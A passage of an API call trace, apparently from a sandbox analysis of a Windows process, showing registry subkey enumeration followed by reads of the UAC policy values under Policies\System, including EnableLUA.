lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0253.753] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0xffb930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0253.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0253.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0xffc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0253.753] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0xffb930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0253.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0xffc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0253.753] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0xffb930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0253.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0xffc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0253.753] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0xffb930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0253.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0xffc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0253.753] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0xffb930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0253.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0253.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0xffc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0253.754] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0xffb930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0253.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0xffc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0253.754] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0xffb930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0253.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0253.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0xffc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0253.754] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0xffb930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0253.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0xffc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0253.754] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0xffb930, cchName=0x104 | out: lpName="IME") returned 0x0 [0253.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0xffc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0253.754] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0xffb930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0253.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0253.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0xffc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0253.754] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0xffb930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0253.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0xffc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0253.754] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0xffb930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0253.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0xffc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0253.755] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0xffb930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0253.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0253.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0xffc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0253.755] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0xffb930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0253.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0253.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0xffc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0253.755] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0xffb930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0253.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0xffc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0253.755] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0xffb930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0253.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0xffc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0253.755] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0xffb930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0253.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0253.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0xffc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0253.755] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0xffb930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0253.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0xffc0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0253.756] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0xffb930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0253.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0xffc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0253.756] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0xffb930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0253.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0xffc0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0253.756] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0xffb930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0253.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0253.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0xffc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0253.756] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0xffb930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0253.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0253.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0xffc0d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0253.756] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0xffb930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0253.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0253.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0xffc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0253.756] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0xffb930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0253.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0xffc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0253.756] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0253.757] RegCloseKey (hKey=0x38) returned 0x0 [0253.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0xffb930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0253.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0xffc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0253.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0xffb930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0253.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0xffc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0253.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0xffb930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0253.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0xffc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0253.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0xffb930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0253.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0xffc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0253.758] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0xffb930, cchName=0x104 | out: lpName="System") returned 0x0 [0253.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0xffc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0253.758] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0253.758] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffb930) returned 1 [0253.758] RegCloseKey (hKey=0xc4) returned 0x0 [0253.758] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffb860) returned 1 [0253.758] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.758] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.758] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.758] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.758] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.759] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.759] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.759] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.759] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.759] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.759] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.759] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.759] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.759] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.759] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.759] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.759] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.759] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0253.760] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0xffc438, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0xffc438*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0253.760] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc438) returned 1 [0253.760] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc5a0) returned 1 [0253.760] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.760] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x10) returned 0xffb860 [0253.760] RtlAllocateHeap 